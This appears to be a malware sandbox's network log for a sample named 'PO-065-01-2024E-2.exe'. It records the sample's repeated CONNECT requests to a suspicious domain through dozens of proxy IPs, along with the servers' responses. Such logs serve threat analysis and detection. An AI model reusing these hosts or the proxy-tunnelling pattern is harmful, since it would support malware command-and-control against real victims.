Mar 11, 2024 16:39:45.433111906 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.10	51093	202.162.219.10	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.279391050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.10	51120	58.234.116.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.284116030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.595999002 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.10	50214	24.249.199.4	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.293231010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.10	51136	43.131.245.216	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.317470074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.10	51208	23.95.209.142	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.320856094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.10	51135	27.0.234.206	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.323071003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.10	51161	154.12.178.107	29985	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.324165106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.957570076 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.10	51156	95.164.89.123	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.325221062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.10	51165	203.74.125.18	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.325280905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.10	50184	161.97.132.227	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.326611042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.488868952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.490046978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489253998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.10	51238	172.64.152.98	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.331244946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.485244036 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
358	192.168.2.10	51186	184.170.249.65	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.334923983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.10	50025	111.8.155.54	7777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.335503101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.488868952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.490076065 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489253998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.931700945 CET	39	IN	HTTP/1.1 200 Connection established
Mar 11, 2024 16:40:00.992312908 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.10	51137	138.36.150.16	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.339267969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.10	51187	72.210.221.197	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.349565983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.10	51180	121.159.146.251	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.355943918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.655761957 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.10	51327	43.153.174.197	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.358834028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.10	51328	43.153.174.197	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.359795094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.10	51329	43.153.174.197	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.360899925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.10	51332	43.153.174.197	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.361639977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.10	51126	202.40.181.220	31247	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.374454975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.10	51226	194.4.50.61	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.380588055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.10	51249	31.204.28.96	5432	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.390969992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.595644951 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.10	50445	104.238.111.107	53777	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.404409885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.10	50310	45.234.61.173	999	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.436825037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489006996 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.490077019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.489248037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:09.488886118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.10	51157	103.83.80.67	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.436830044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.184456110 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.10	51231	69.61.200.104	36181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.437623024 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.10	51190	185.132.242.212	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.438536882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.285798073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.10	51198	45.11.95.165	6012	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.448617935 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.207660913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.10	51254	174.64.199.82	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.450815916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.10	51148	124.163.236.54	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.454329967 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.10	51292	104.16.105.198	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:45.466989994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.621495962 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.10	50479	107.180.88.41	57642	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

